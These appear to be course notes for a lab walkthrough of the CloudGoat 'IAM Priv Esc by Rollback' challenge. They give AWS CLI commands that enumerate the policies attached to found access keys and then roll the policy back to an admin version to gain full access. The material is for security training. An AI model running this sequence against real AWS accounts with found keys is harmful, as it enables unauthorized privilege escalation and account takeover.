

- Filename: intro-to-aws-pentesting-4-2-1-iam-priv-esc-by-rollback.md
- Show Name: Intro to AWS Pentesting
- Topic Name: CloudGoat
- Episode Name: IAM Priv Esc by Rollback

IAM Priv Esc by Rollback

Objectives:

- Utilize aws pentesting tools, tactics, and procedures to solve the CloudGoat 'IAM Priv Esc by Rollback' challenge
- Perform information gathering through enumeration of policies and permissions
- Utilize improperly set IAM User policy to gain administrative access to AWS

-
- What is the goal of this challenge?
 - IAM Permissions
 - User
 - Group
 - Role
 - Policies
 - Use improperly set access for priv esc
 - Done through a rollback of a policy version
 - Where do we start?
 - We've found some keys. Let's see what permissions are attached
 - Create profile
 - `aws configure --profile raynor`
 - Get username for keys
 - `aws --profile raynor sts get-caller-identity`
 - Check for IAM policies
 - `aws --profile raynor iam list-attached-user-policies --user-name raynor-iam-priv-esc~`
 - Probably also checking...
 - `iam list-user-policies`
 - `iam list-roles`
 - `iam list-groups`
 - `iam list-attached-role-policies`
 - Since we see an attached user policy, what should we do with it?
 - Let's view the contents of the policy to see if anything is interesting
 - `aws --profile raynor iam get-policy --policy-arn arn:aws:iam::123456789123:policy/cg-raynor-iam-priv-esc~`
 - Anything interesting here?
 - Nothing is JUMPING out at me
 - The *Description* field can hold interesting data sometimes
 - Let's see what kind of info is in the policy version data
 - `aws --profile raynor iam get-policy-version --policy-arn --version-id v1`
 - Looks like we can *SetPolicyVersion*
 - Are there other versions of the policy?
 - `aws --profile raynor iam list-policy-versions --policy-arn`

- Looks like there are 5 different policy versions
 - Let's see what they do
 - `aws --profile raynor iam get-policy-version --policy-arn --version-id v5`
 - `aws --profile raynor iam get-policy-version --policy-arn --version-id v4`
 - `aws --profile raynor iam get-policy-version --policy-arn --version-id v3`
 - `aws --profile raynor iam get-policy-version --policy-arn --version-id v2`
 - Version 2 and 3 look VERY interesting
 - Version 2 allows a lot of access to S3
 - Version 3 allow for full admin access
- Now we can roll back to a previous version of the policy for priv esc
 - `aws --profile raynor iam set-default-policy-version --policy-arn --version-id v3`
 - Test by listing S3 buckets
 - `aws --profile raynor s3 ls`
 - No more "Access Denied" message :)